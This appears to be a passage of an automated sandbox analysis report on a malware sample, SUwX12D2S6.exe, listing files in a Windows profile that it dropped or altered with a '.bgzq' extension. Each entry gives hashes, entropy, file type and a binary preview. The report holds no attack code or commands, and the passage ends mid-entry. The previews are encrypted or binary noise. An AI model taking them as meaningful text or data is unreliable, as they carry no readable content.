Preview:	......F..t}....a...?....0...)>+h.E..-.W..c.#.mbc..#.uq.K.3.......C.W....F.5.iMs..6.J.1.9....i..ZwH.T.Mj`.c......d<....c......0#ZT..=D.C;v.8........A.9=.....>..i.......HY[.V.s.J..5.K.n.G..F...-..22.~...Xz.=.. \.Or..F..+j...Hf.7...G.t&?..~/.~...V0.P.Z..&..k..I...Ng[.o.........J.J......O..../r.A.Z}..$lO...Ir...{e...]...l^......_....p..hd0ZL..M;.^....'..... ...z..l..OQ......3.........d0..M.{..0.g.[e.H.:.7....y69.O.j..........wK..U7.-o.~.B...TD.y..M..{..Jf....Y......8,8.r.......d.H..~\.T..u.....R...J..W.[.[.....Y.f.....a..1S.8...wF@..3N.......U.n..{.... .7z.....L.:.E..\...5T.....m.w.K.-K...G..U././..n.{.<9.J....d.\0..H{)?..x&.F.....a.....!\[L........b...9[...?_..)...]z.".s.....U...Y...*..nW.M>f..3;.J-.AY...P.Hn=vl@`....T..-`/...2^....x..&.u/.....^.`g..Gs...9.'...'.y.@:.....rj...&...v.s,.."e...E.}...g...s..D.`:..d}x$..\|..\|`....%`...8...F=..wH...K...@SD.9...2.....'......e{b..`q..p...f....X....t..!...F.....w.j..Y..A...(.....a..l.J....>....!..\|..C...Q.

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00001.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.206610501755936
Encrypted:	false
SSDEEP:	3072:zaH4vim7WjDrryHs44LGTmFf6/cYGXD+nJiE9YTwLJImcJCHbC5:zaHXmCrryMaTmpXCE9wWmrHW5
MD5:	CC380882DBA7C5E9624AEB6BD264BE9B
SHA1:	93303DA89BCA9080C5EB583058C5EB3098EE6384
SHA-256:	6EA84B5A8CE386BED9541B1907D3CF7FC26557E55A7ED08D1C854894234490B8
SHA-512:	38BF2A4A76551CBEFCD39BB50CF9CCB8AE4728A341D0BB715CF31526D3D8D9C497E6F11D848C253FB3860DCF7CD411A426C654D30285E859552921B1AE60D6DA
Malicious:	false
Preview:	.....L.9L$.N)W...+.4..zv......2v.'..(.........<......,..F...G.....j.IK.8....v....(..]....`P6.....K....y..V.....z...:.B.1c..B.........4....,14...z.....u.t..S...V..?v_..$.....n.\.-.cQ....Z.[....UM4..cH.#..kDX.^...a;.B.-....4.Z....zs.Y..H-.2(bd6....+.%...F."..:....}........2\W.......9.X.v..J%.........!Y.F....svK..F.V.lxGP=.n.GI+DF...'2-d6..~.z.."..{p.'..+C......1..&.SY..i...9..4...T<F....]vS.(w.....X.."gO.g.....W.....}....db.'1...=9.^...Rj,1...f.B.L....J..M...6....%.N.H........g,..X..\.%.I=.,..../....L....R;..k8Q..:.%~c..\..y..#n.Qi...r?Q.V.it....>\|..CT.c.Z..? .....=.0..WNnWy.wA.....n^..kO......$z'.....I.....^..9.5.....S....7..@ R..eK..W.s$...D.....m..e...:.x..S....m......"k0......b......Y...y.D.U7..Mix..$..M@......+ka.+..v.u...@)3...,.J..tT..i~..v.oe...p.?..g$&.m>%{........C.%.I.......k.6T/.Ak>.....}-.N..X.W....pR /.#.q.q.........r..P..'..q.?.m......M..E.;..AO..o......3,w..G."2.5....'H}...L.l&/5.C..?;..\|.......@.=...4:'NN.Q...n..B..

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01res00002.jrs.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207404337891504
Encrypted:	false
SSDEEP:	3072:LiF7ksJA6U0Kna+PivdOiF2YbnG+GwUkFUd7agEZY+nQ2D8NDucezJ:2USKa/OSG+JFA8z1+lezJ
MD5:	C1F084B45F181AA33F8A77C41016E97C
SHA1:	B41B518926E7C6193F34CA7BA8978F2290CBCD43
SHA-256:	593790D0A3138700F4CD7DD6250A4E17D802F6D0B66250E0C1ED0D5B7C51BF2E
SHA-512:	95BE38542169A2B4925E647C805C551C385763EA9CABE3F391E8B25133829EA6C0C6CBE9A674C50E940EE06CF1FE106B6ED1D9D6852D33D2739D0FFD8FB41227
Malicious:	false
Preview:	......)Bf..^... ....0...<............MA".D.,.................Y...u...l^1\|..l.....?89..0#....Oo.?..gs6..B.-:...X.d..K/. .9P.7.c%).QDovcM-.....-S.>g"+l.,.?...F.........V.q..W.R$\._.F.p.:0...K.e.,V....V?.~.zi....tp.v.{.!4.(.?Q:.'....C......l..o.N...&.g....hl@..6.e..4rgum ...UzI.Rk...&0.:........JJ.#V+...W.+q.]...c..-.+..C.W..\|..f..%%{z.k.h.......0.....\>...\|nd.Y.!.....].A.6aj0\....W.5w..]L1.}...Oy..........H.^. \..Q..).L4.?.a...d,C.0...Z1..y.o.....].-\|.z.N....L..^..r....E............+..y...]g....3._5...;..0..(d0.R..W....>..yJ.d..>.I.r.yo..Z.H....).....(~.e....t..p..VI..;......-S.M.v.6..^.9...{\|_e..d.....d....A-.K....1.....\|,5..f.......m+]....W]Hl.4~.EX..............~[.-."....3....M..Z..Cft.....ri..jg....<.r........4Nc.{D..<....X..D}.g.`...^.'.}..._.~w..@n.9.1......z...1,.......)...8.i.!....I...>....HH............y.."..-M}z..-.ELk....2Nw.../lilMO.3..n:..`.mm.`cob.'..5..m.F.t1W.c...?.........w.../....v......R-.z..V.....yg7x).

C:\Users\user\Local Settings\Microsoft\Windows\WebCache\V01tmp.log.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.264434045782693
Encrypted:	false
SSDEEP:	6144:lrZVs1HEJrCyTlWhCPkIQm3ha6Fct839wyntLdwXyvCTDjR:Zs1HErCilWg8nWha6Fc3
MD5:	8ACFCC0E693CFE1E6862C9A755C51110
SHA1:	3EF8FA478205FC7BC62750ACF3F9DBD98F602425
SHA-256:	CC0DE887583DA343841E86E566923BBAF12D28FA8A5BE560F0842D85D239E0BC
SHA-512:	6CEB171FF7207857157E269EF8AD7DBA92BFAF5134BE7EA9A6CA0890EE7FF6463FB145DA631EFECBF67DB0066F765DD04A482F431D0AEF8DB8E60D2C2F8A7F0B
Malicious:	false
Preview:	4JD....z.).....lX.......N.....I..K..LG f.....$..n........0..yyn.k..fpE.~..^(K..A...s{..].W.%.v..(a..Y2!AQ...P... ....u.~x4SSFP>`oe...KS..d....V..!.n...=.{..\......#.;....._......z01.+4Z....Z.....M....w.$.ar]...J!.\|!....]._.I0..w.....}0V..^..4....b.......4..B\?.V.e..2plJC.be1v1.4...N...aRp.9.F.w.0..)y.y./..D,.......0........6..F.......D.Xm...R29..Ts....v;.G.@_.w.b.J.......v....=.W,.!.!....._M.J....(...w......pn:iZ^+o.k>..j.V.+4.V..G.\|......6..9[.on&O.,d.y..4..r..z....}i.~.F..j...5+..fA.r..M.>.f....C ?q.7-.`..3......\|......i.?....Q...'D!..DY.....I:.H.R.$r.P.f3 .....rH.-7w2...39.b!..Qjq...$..X...s\|../.lG.V..}..`..2'J...E@@'..~f...r..5..07.CB...n.3P<{......,.......U$.....r\.n....m./R.XR.N..'..^.`.As...1.7Y.....$$3.._..(U...t6....E.......$N....gC',...?...............Q...>..e.{4...?...F..U 3l3..V...Q...o1q...........]x....k..'i.u..0>... ._.'[..y...O....b.e.J.K...x.o.q.6FrAV.t.H/#...).r.m.%.....X....nA$.....g.....G+k...`m.j...R..I.V........

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.991939793489578
Encrypted:	true
SSDEEP:	384:LKOghclwCODuZ/OyszI4tNdNPmXLCMqZos4+r2SwsJEGE9BFsipSPS0OnKXSGv13:eOgKG/DuwyuI4tNbmXWb94w2sSGsBF1E
MD5:	6012A2F480CE0D6A83F531233B2AA362
SHA1:	84A7F8FA61C0D69418ADF94BA77598A13379EC80
SHA-256:	E32B7CF977FF5B5F604C97E370ECC07AECE672EE9FFA35D83D4D85DCD20AEA5B
SHA-512:	4D29C37AC904F8F8B6A6FFDB7F0D45CF4A33274259DE0D1F224C585E2029D34E069FEA51B8B7239BF3FC9964E15FA6C83874E5E18CA4282417D76B500AE358C4
Malicious:	true
Preview:	........f...%.)..!}O.>D./3.ZE.(.....m...M..W@.).k.'.q)..N.s ....}H.6....F...2....... $G.4X..d5...`...~...1a.J>.:sO.8.{p.A.."...e[.dBr.W.....~../.k.m..b.F.q....>o.$gd..#.a.9......y........o..f...~...2.......$...1......U....0..../..Ek...U[..[2.....D..<.kX.../4.Y..& .1.Ddw........q..O.Z......3[7.V..C..7....q2..:.V....$b.'d..1.$.?T..R.Y.....m/Q..@r..`....cb..M......d;>...8.....Q.v7..)k..q...S.M.\|l...O.e.cRSE.~.x.!.. ?......b\....hJ.....!.4..`...A-...7X.M.Y .l..g.0.tw..j..h...n...z.&IY/.._.......U\A.n.......Y..5..o......y. ..{.D...W~.\|..{....=L/.......=G..S.v........>k....z.......?...Tj0\|.B:.A.3..>mS..k:....L...X.i..9.jG.=.t..D.R.W.X...y.......ek..K..m..-&YC.N.5b..........U8d.l.I.hp....._...%.Y......^.G.t97...S.C....C../...m.]z.....EO...x..>..~..3..h.{....m....../IK..../.R..0.......d.....&}..b.KX.......{.BW{L..#...W..1. Q.<.I....;U....G.#!_...Cm..Dz..9..-..M...F........,......J.Z....R.dVh..7g....,.'..>..:F@s%.H......yxA;+....2......l...b........\|..

C:\Users\user\Local Settings\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980387544988935
Encrypted:	false
SSDEEP:	192:aDThXmRAekD2KpFk5I82TJCaksDPDBLVAhK6ZO9fH5:aDdXaLudpeN2bksTD5VAhKl9fH5
MD5:	61FF0B28DE27010F0449509FBBD2812D
SHA1:	00605555BD63BBE3E23B324E285E849FFAEF194C
SHA-256:	2235E73DAFB97A9812587BF2FDDB49BF118BF40E63A08DAF4D30D71AFB658E30
SHA-512:	4F9F416873D52900389D6377F502897BC758F1D446A7CD6C6F7F45C9935B907B71F4C880B2EA432A7392BFBF27638DF4313EAA8310B44F6E8239F85A2897D6EA
Malicious:	false
Preview:	regf.F.Y.Wh.R..hY.bPvi..-XPj..{.n....L.='.N.F]......xS. f....(..d.y..$e...T._..E:+....Q...+S.......".:C....a=.....2;D...#.d.TtM.....R=m.n.o.of..k....]....X...K...nt....#...g..m.(pB.]`...n.........E...\|..=K.:...OZ..]....d...&J...!............gj.l...K^#]..A.xm...pY..x.N.T.2...j\Yf.q.'.....k..2..V..$...q..D)...."N..~y.....Q..%.c.5...Z.#o..\.U.......m.3U..2?.#>zu.A.rP...t#....)..............z...V...T.......\|.~....QI=O....+.Wi$.._..).?<>......[...is.4...d......y.. S).6@.?..M..............o..1Y...;..6....b..Fx.&8M.L.......R..H..h.Uw...'..#$7....Y.o4/N..g.z>.N,...F...Z.BQ.Nzr...xG9%Z..`g.....T.7.dCe....Q*\V....1...T..+.a...J.G.!...Ae..U..+<...0NS!?Z}L.,..Mz.2...7I.Wd.Ho^.......P^u......\..M....aR<#...jYl.\|..Y........3.m..........2.A...}.(..e./........m...../(U...Ne...5....Q..7..bs.#v..@0.5..]i_.]e..{0)O."'..l...{_...y..R<z..D.".....rG,.d.....e..4d.0~.WyY...;....~.y.c....A...bV.$.09...Vx.'.......d...<~=........K..........#........=.9....`.

C:\Users\user\Local Settings\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978198620260343
Encrypted:	false
SSDEEP:	192:o0agf3XrNsfGuxYqN6/c0AjCYLMtVNpLFIj+M2ew:zvpSzYqN6/c0Aj5LWM2ew
MD5:	7E0966270BE289E0425051E161663CD5
SHA1:	D6F469C32393E0D008FEF9D4C3DAAA299C9D01ED
SHA-256:	88E3FEE5B5232047568D0236FDB6CC2608DA4431DB17958A8E4E66F8B5A27D74
SHA-512:	12E6302ABE2ED9B3AEAA199E4C13DA23B4D91AB31D14A088749E405FDBDF1ECF4F6073697A9B27C7499BF2887F3611A796CCA5D4BEAE246423E17AB57F099F99
Malicious:	false
Preview:	regf....].....M..E.6....h....5.~..:.1.K.1[.}.2.+.....M...i.....5.{...0........:`..}.M.7..........k......[.....?.Ry..@k.J...+...f...m}.C.PM8z.s\|.q.%....F....WL......n.(.>..C..\|....'.e$.T.:..8r........)s1..O.X2P.. ...CJ3.:....@l.KT.8W...Um..8SV........zP..U....r..x4}.?YFSa1Ma..H)A...1...i:.t..bl.j.f9U.$xo.+j(...+..R.q...J.k....h.="xt<......Er....;..G...V.x.3....`..y..&..9...M@./.<...4.x.....a..C......xm../.4v.!....?mr.lOX:o9.t......%....Xq]......*k.Y.....C!.....`.EI."..9C65.j.`..j...3.=..\F.....L....k;bo...Y._h...;..#Ou......73k.f.J%.....f.j_.^m..,zw..A.\W....t..,...j\i5X...ce'.4.......O?wn .}..{.f.......F.@x<.....".i...C0r......nB....G%..g.z.z...H.....]....B8...>.u.K"]r;..?...V+.LW.......S.hb.!..&..U.u...:V$....Y....<...C...X#h...............J.I...0.w...2<A.1O&:g.W.j....[.e...%......UB.=..]oE....]0.X....$..&:>.v.ot.#f.._[..s..l....G,.....!.f..T.q .....wN).;..9s5..71.O~.Y..o..#...Q.{..Jr7...G.\|.\|?S..\|\I.....Q.....io#.@.r.X.....1...P.~..W..

C:\Users\user\Local Settings\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9746149582657715
Encrypted:	false
SSDEEP:	192:eTavKwM/8ebNRve1zoHLp3cLFrekeo5te0Pb3HlujKkEiN+:e1T/86epoHG9ekjPb3HlklEiN+
MD5:	6D01F0E93443251DB763FB2FCDDA6632
SHA1:	90CA41D1FCB108700C7BB253751B22078762371A
SHA-256:	EC301C76BD77FFAE362C40470DB6741342EB67CDACE092199C8F3CE4920AFB28
SHA-512:	A178FA2C2BA5D7364942C99E7990278525189FFE0F5A85068EE28971613E30A852BD4EC8C4FB873A6152133CD54CE43A64A8B77105319E110608FF46F5D0148A
Malicious:	false
Preview:	regf..m%....hC..!.Jj.5.%.\.f..S..d/...}:$..+..;j.x.......%.......O.}....(..!.8#.V........PP.ccn..2fJ.X..n.>E..W%..VI0Y...h....r;2.]....b0X....0....dm..E.....9...mm,z6e.F.K=..%!..}qQ.N..H..&..4)...3.......~Q2w.Z.d..bmZw.k......=Da@...+..pP...h...XX...-...Wc.E.}.jN.U.cL...t....[..0.X...Pe..;..6..7....t...gg..Lh..x..[.......V.g-.......-.y........T...np.0...t.......c........7).....VT<i........F.jY......uZ..].....3(..#.0'..O..l.H.E..!.7..tv.{.:y..-.....P..n..`...dd...CS..K..S....@B...C...x.O..9&^..4.i...iK.h!..L.SV..w-(..S.'....7e....}.]......S....4...$?7x.....X...-.y....o/.N.,(.n..1.Z@^.OCh..n...B...X[..7.......UH..s.O.X...3...1..........'>G....%...~Q................Do1...N..S.....Kg.f..8>p..R.}5.R.J.;....Y)..d...(._.....{FuB.).o.....)..Q.6........l.2..J....Q..\....'p&uo~.q.....p.Y.Q.....M...v.}U:4.. ...<...M9.dMS.K....=j. .$..8..=eK.us..7.Z.D.r5Sp`.=.h..*.\|s..S.....Dzi..;.......^3..7..r.../F.rjz?.......;.n,H...vnc.i.c..Y..s

C:\Users\user\Local Settings\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977774742248699
Encrypted:	false
SSDEEP:	192:oTsrGPkF0n4oq0egFoiaQ3eiW2zzXeerD3ix9RVNqL+OgIvk:oorG8WXFoiXOJAXVH3iFVe+OPvk
MD5:	36FD851D27235EC84D99A5D9734D96D8
SHA1:	F054CD7FF932D91D736BE00EC9D87B18A0590CD9
SHA-256:	10F2B06AE62999F12F2DC30A4B3BD13194D8DD7F72632C3CB8712D8781E41B5C
SHA-512:	5AB2434A67F885A560FBAE4AED1F28FB2B0A48F54C160D62610A208F333EC190C1A99E801674A624C794855149B72A1B20E575999018946EA21AA3185ABA0E51
Malicious:	false
Preview:	regf..c #3.{..Wq!...&..&..j..........0>...?. .Pc.....1.a...o.{..}.....,.y.N.~....@..(.........).........^#.lJ...(...H".H.Egs...1...qM5.Q?<`.\|.t....>'.4'R.ev....c;..z..cE......!..R....+h.nl.c.i.kZ......!.qW.T...<#i....g/...X.8hf....<....[.<C........e...\...i7P....]I.;.Y...i.".+..^..........D..].....B.........%.bP....]Mp,.W;.zLy.cpz.qH"....F...?`...z..La.K..V..WJ.....u.g8!'BM}.D.. 9v...j..i...%._!..........;.+..].#RG.....`........k. ....I0K......>.....o.......I..a.....)..S.`.."...SW....../.>i.R..&l!.:X...t.[..GF...H.xD-..4.o.>..E"93.QC....4....wt...ft.A5..O)$..].].l..`.....j.<.)C...0...+M.h...<. F.T!...\.).{_.......-.xYX.c.D}.k.....m..TI/..:TU..-.0.\..............PM..)e6T......eQ\|._.-..{..).?.P.......j.g.t..........9.E...d.>h.>...:>R.....C....5.....'...>..f.Y-u.4.QU.K....O.5.zi..g.!.@).H.'l...8`..b.....^..8.d.~.C,.Z.j.Du..^,.....V...2..%...Q.[S.....v..o...n.7J'..........,W..7...z..SBhf]I)...E.S.&.....Z"...s..ZA........mb....eyD....

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978381253158546
Encrypted:	false
SSDEEP:	192:ed5K3Brh42zIdUGc8sLzsuVj8XS4ZdC8Zb9MOy2DEKcU/CT:OOBGgIdUXHL9mDs62wEKcU0
MD5:	4548CB2F44CA0AA5D6787A6DE4E3F112
SHA1:	B99C603495E3C376100CD9C84060070E5CBEABCC
SHA-256:	7BED0D9B39B4B96E7965F98652A3EAF3CA97890B86995D62668653775D868A44
SHA-512:	A4EF8C7F945ECE0C630DC014FA3E9E087982CF21372285A53C6E989D492946D3CD0E93FEC2FEA058FF01476A64B2DDEFCA5A1AB66461A3AE03B9F63C1F3B88E0
Malicious:	false
Preview:	regf..X.....e...x....W..XV...F./..[...Y.b.....a.B_.zj....l.d.....6F_.2.X.K......2.%.......ox.h,.S`..OV...y5..>6..1yR.....-,@.U..Y..8r.......%iHZ3..<_%.Q...>)..0<6.LA.p<.....4.....$p.H?.y{.....d...U.LgB..n..u....Ao.....v.....w.....)k4M.@k..w.....X/..gf..OT.....x.......J.s.k..)....zyt..ew.).......h..(.+s."2(i...c.5.....q]...%[[u:.B%......@.U..<:.D..k..Qi. .p..)...n...I=8:.d.o.....AKB..Y.x..".0.)..=..P.....XR.:.p .....,.A.....Y.Z.-...5.CP..=5..'vfk.9...U.K..>..V....8]....__[h....Y&...lb.K\|....>...n..p.S7.].~..._..k..#....:....$........t.\......O{.......!.bN.....7N.O./....(..&N....i`...].u#.hD.B..9.e.C...b.........t....U.f....''.DWy.H....?..]..\.>u=+........\f\.."G....Kz..+B.kb..h>%A...............".]%C..Z=...n....I.....e.-8z.M.EK%!T.4.K.5.Z#.LQ.,5.R..8.........d.h=..5U`m..j.@.............j..M......>?....\....Q....I..@..O....J$.>!.C5.R..KO.6-x........L..;.?J..6.vW.i......?&.Q..1:....F6\|.G...E....%ww..WW[7.,.%k....:....W....5dq...P

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97850320740589
Encrypted:	false
SSDEEP:	192:3RVjjPjGr6sgGGvdWaHHxaW9cXkJ6AnT7L+b+rnukw4u5vetU:hpjLGz299jJ6QbukXu5vj
MD5:	6B05F92473AC8579A0D158C6A8A1D66E
SHA1:	84AB9DC0C4C520AFB4D94C5F591210F4AC4206B1
SHA-256:	ADDD58BDE1D94968249410492606412BF538D2DAFA8EFDFF6FF1512F4E8E242E
SHA-512:	51290FDFB956BF34507C277BEB76171E353AAB0E1723BD53FBA53B14610059345FC62CFF3C8D0B2486A2C1C496AB869B2CAA5DBD01FCC0BA14D5809137C6B5BD
Malicious:	false
Preview:	regf....R=.5$.V.....!T.f.=....k...?g`.t. 4..Q.}..#.`1.]..e......W.......%A.x.0k...=.^....k..+@.n.w...3O.. L..O.H\|...i.yA..0...RB.].^......G...'j%A5..aJ.......+}gW.....MN....LK7cz..\|.CD~..;..Q...k.......1o...1Hd...M.1".B...BL....V...p.~\..;}<.M..."<...;..i.=.fDt.....!..Mp.#]..).B....g........S..Kin..;G}...\T.F...;H[.+^(0S..(..1......\|../....".vg.....e..n...1..4....5UWl.`?..D?._...?!K...F...o..Ik$g...U7/)Y.......tO.....V.u..>.d.-2...5.....c.Oh.C.I2..a.=h..O...9..dS...B.E.d.\|.>...2=@..h...P.l.Zl.a.......P...t.b.Z(....j..11..%.. ..QD.6B.?...V".$.......l......Lg\|tYZI.lws.G.H..y3.oK....A.. .-......c.;L..Q..0F.,3._..%Vc.cDG.../..A.....8.[z0t'...E.vu..f.UX.....J.h.1k.....E....7.%.-..5..Pm...$.bk0c..c.9x9g..Dl.+......!......#.,,r.zk..0...#X..7.I.A.e...;p.5&....\..T ]...!B2.N....... .B.)1..0.Je......xP../...8L...y..2..#.....1I.\|.u'.......F...]..)..SG.C"]..Jz..J~.-5 .x.F..,...0S./.h...hWr`.z.r.... .........R@..m..&V...x4..L...\.[b.lG......c..

C:\Users\user\Local Settings\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976605350650715
Encrypted:	false
SSDEEP:	192:DoXi9cI8C6Y3t7kTppDjQ4rBiC/KaJ8hvzaL6cpD1OAInKRzm8:k+jt7kt64rBiC/iZ+L6cpBOLCzR
MD5:	68E4BC8C868AE0244B97388F5C80BB90
SHA1:	7E4A10314B04E477083A0E4DF9F31430AC4AC363
SHA-256:	A76DB63460968D7904959B67DC44002160C058EA29E2E6C9BF6D5A3B7782347E
SHA-512:	A15AC3A619DE37EAEE6AC98778E959D132B0F0A6572C92B5142FE9E81FF8F21F35C8C3939617136930CA1589D1463BF69D51508AA0A077023829877D7706DD41
Malicious:	false
Preview:	regf...B.'>.....N..f..U..V1.Um.p......C.Mn........f.6+&w_..=...-I....S........Z....e..h'...8!V....N/%...o...ty.#...-.....<c.Y.,.,\|.....\.....y.4]/(..f.Y..[\.P.H=0........z..\."m...p.....N.f.B..5.Q.B...1sO.M.ph..F...@.....d)#%[.}.~.[.MJ.h..Dbq....C...9M.=.R$.v...J.../.t.T..H.K...(.-.%..T/...i.._R..:..8.p.....8:/Z.#l.g@G...qZ...7B....=...,i.....e...s.D#.e."d6u..}%..F...\|(.;n..x_.I.).Mn.\...A.q....!..g..O.;.1..cwhs.q...&.....5-$f..PZ.........../N.^.a.T..P.....g.....r..K. .../."5.......M.......?#..x.........O..[..x.cC)9R...N>\..ijM.....e..!..5.px.......Ng.}A..bd..qQ0...}...N.+.\....!..z..u..,....+....).3..m.tr+.........x.v7..p0.-..ul..o\|...1Dm...Pfha...y.Q...!...H.Q.\Y.../...h..q..r'+D..ji..H.F.S......yV..Q..e#....G...@.u..a..WQ.U........m..2...C.u..W>'L.B(ZNO..F............zY..E.i......w.5.B.C...lq#..H...~.cQ...y...+....f.,...M:.K....oS....o1.#...^y.~.?)....6.....3...4..Sg...NA]W2...`k2.=...%..B.a.....W.((...U..j.F..$b..n.~..e.....#W

C:\Users\user\Local Settings\Packages\Microsoft.AccountsControl_cw5n1h2txyewy\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97875991807914
Encrypted:	false
SSDEEP:	192:J8bnnwbnOCoLfoxisPwmtgAn4mgJSdwn0447:Sbk6zSPzrOJSrX7
MD5:	B72F8A2F50EDC85A465A356F75F49CD4
SHA1:	3F3FCC2F21205B984E38C8FE4C68C0CFD8B2D0B4
SHA-256:	D64154B417ACB03BD7D1D98403B09BB972DFCFB39DB391F599F93440732FA7D5
SHA-512:	E9D6A107340E287454D2CBDC2B4EB83F6F9D16FAABC7C5D44BAAD1780A42FE93D2A6471F90F4A5EF01A3722E86671408FD75B94AB80442E39FE764459A106189
Malicious:	false
Preview:	regf..q...hr.V.....C...g%S...R.T.3....B..v...\]t..Z.@\l..........1.i..\|...#U.9....B].~.`'$2.....]..~rd...y...t\....9..\|k..H.....T....n.i\$A%..~..x6..\?.[S6y3..?....d...h..gUmi\|.3.OH..Q...E7..B.....P.%O..g._Xx.M..gz..........?..3....nb..t...m..).)......\|Sqj~!@=..b'..+.gG\.....$D. .J..&.....m.dA.bvJK...#.snu./. .......a"..C...G....."...0e.,V.....J..~....4Po......`Y./>.,....;....bR^.}..;.$0._hw.".F&.o...[....1..Y.....Y..G...6<..i.\...v,.x.q.%LT..;D..j%7...h...o)#..@.v.....n..C.c..:....qRC'..U.....i.liG.......?.OY`....>..?... ....e6s..e. ....2...D.E...'..+..zR.$DOh..v..2...._!....3\|g..%]....0E.o.0.c......H...\|..GB...G....1.:.v`.v.....Y..0..]c$LHv..&.F.~...a.x.Wo.4...:.P....$.!,T/r...>)....!..(..~..lU<.:..N.pT..xc ..%.Wv..AL..^._c.._..X.o. .t.........S!.f]............c.?........g].,.=Ix6.....(1!.R...xb..)D;X5...Op%..x6..\...B..^.r.....(.2Z.#{o...paH.l9t8"Hnk..M.C@../....Z.p;..._.;..~....a7<.sq..\..qw.........;Y3p.......!.8.!/.#...@..

C:\Users\user\Local Settings\Packages\Microsoft.AsyncTextService_8wekyb3d8bbwe\Settings\settings.dat.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978250268874249
Encrypted:	false
SSDEEP:	192:/CEBrWEvW5PtzQd+3ZGG+sHg0OLRxF408xpTdhApM5Nk8Jec:/CEBrbgpz3ZGG+YrOLRxFgLTdypcl1
MD5:	26810E5FED1E7B04596EF3C8432F6C9D
SHA1:	6F4FE70633042369BF276981959EE27E660455B5
SHA-256:	8158528D68B9A1354985C5BABFD99819926019651D7BA9170C00355587A67C8E
SHA-512:	FC46856EB4A4C62DF62DA2BACE4FFB4DBFE0AA9181A3DCF350DB584E681B975BD37530E0F521FB92E3B1C9C5EE37AD1A7B9ACEE06310B5007036C59EB76CE08E
Malicious:	false
Preview:	regf..(.'z.s......f..[J.;.0.r....At\|.0\..0..>,kz(.T+......Q....cWr...P>-...DO...'.....z.a.Q.q.....h.E6.<He.2.A....b..m.`"..O{...q..-l^...A.......T._A...w\.../.FW...@....5.E..L.zlw.7...N...X.~...9!nL.i.....+z/7..^...x..T.1...C].$...J.4...M......L..M...&..(zz...J.T......>.y.{.....X.J,.S.u..v..>ZTY.+.......y.B.2P.N...SiYZ{8.X..\.9....r.L......?.W/2. p..c.CU..'H.._.#I..B...b..e.T).w........Z.h+9.\..\|.T.......+ .p.d...O..x...........S6....3[.......,.?r.Y?..Gl;K;J@.k.;.2.E{...(..WC...t... .k.b6..5"..@.....:/.\.....g...Z$.f..-.,. ..d`.m...U.HD.....&.W..PV...T<..@..MssJ...J....+0.7.....H.s..#...f?.+=........%.46...)..<=..&...`p.......8'3......o...0...<m...M.....0>...+.$.. 2H1q..t...........=.f..g..d...:D.<.E..t.9..m...SuC..!g..[]x.1...~..Q...U.H...2...f.....uxD.OC...q..<.Y..x...z]s...]...f..(..A...~,J_e0e..v0z.xu`..4.[T=/.....A.vWA.c.~Xn.v...Mz".....ch..4wy..y7T.F...f...<Z..B..\...2;..o&gaE .FU.....e}....a..\|/H....?.T.......y..q..bw.-....[.~

C:\Users\user\Local Settings\Packages\Microsoft.BingWeather_8wekyb3d8bbwe\Settings\settings.dat.LOG1.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976356015028744
Encrypted:	false
SSDEEP:	192:pKoF9i6dYRrGoTKC5QEBQEO+0gPuWZxtEdexq1QdOsEjO7bwrcek:5lCVKCSEeAhVbEdex0Q8jOnwr4
